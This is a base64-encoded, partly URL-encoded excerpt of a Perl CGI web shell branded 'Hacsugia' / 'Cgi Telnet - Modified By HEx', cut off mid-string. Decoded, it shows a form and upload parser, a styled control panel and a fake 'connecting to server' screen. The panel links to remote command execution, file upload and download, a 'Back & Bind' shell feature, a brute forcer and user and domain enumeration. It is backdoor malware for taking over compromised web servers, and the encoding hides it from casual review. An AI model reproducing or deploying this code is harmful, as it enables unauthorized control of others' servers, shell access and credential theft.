b2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1%2BIHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1%2BIHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1%2BIHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1%2BIHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkhhY3N1Z2lhPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTEwOTsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogI2ZmOTEwOTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjZmY5MTA5OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI%2BDQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8%2BPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s%2BPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic%2BPC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ%2BIjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0%2BIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc%2FYT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc%2BIiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ%2BDQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI%2BPGNvZGU%2BDQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPg0KCQk8Yj48Zm9udCBzaXplPSI1Ij4kRWRpdFBlcnNpb248L2ZvbnQ%2BPC9iPg0KCTwvdGQ%2BDQoNCgk8dGQ%2BDQoNCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI%2BJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ%2BDQoJPC90ZD4NCgk8dGQ%2BU2VydmVyIElQOjxmb250IGNvbG9yPSIjYmIwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2JiMDAwMCI%2BJEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KDQo8L3RyPg0KDQo8dHI%2BDQo8dGQgY29sc3Bhbj0iMyI%2BPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI%2BDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E%2BIHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI%2BVXBsb2FkIEZpbGU8L2E%2BIHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI%2BRG93bmxvYWQgRmlsZTwvYT4gfA0KDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1iYWNrYmluZCI%2BQmFjayAmIEJpbmQ8L2E%2BIHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E%2BIHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E%2BIHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E%2BDQoNCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU%2BDQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoNCglwcmludCA8PEVORDsNCjxwcmU%2BPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA%2FIDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA%2FIGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OyI%2BQ2dpIFRlbG5ldCAtIE1vZGlmaWVkIEJ5IEhFeCA8L2ZvbnQ%2BPGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI%2BDQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ%2BPGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5%2BXCQ8L2ZvbnQ%2BIENvbm5lY3RlZCAhIDwvZm9udD48YnI%2BDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI%2BPGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ%2BIDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ%2BIFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiP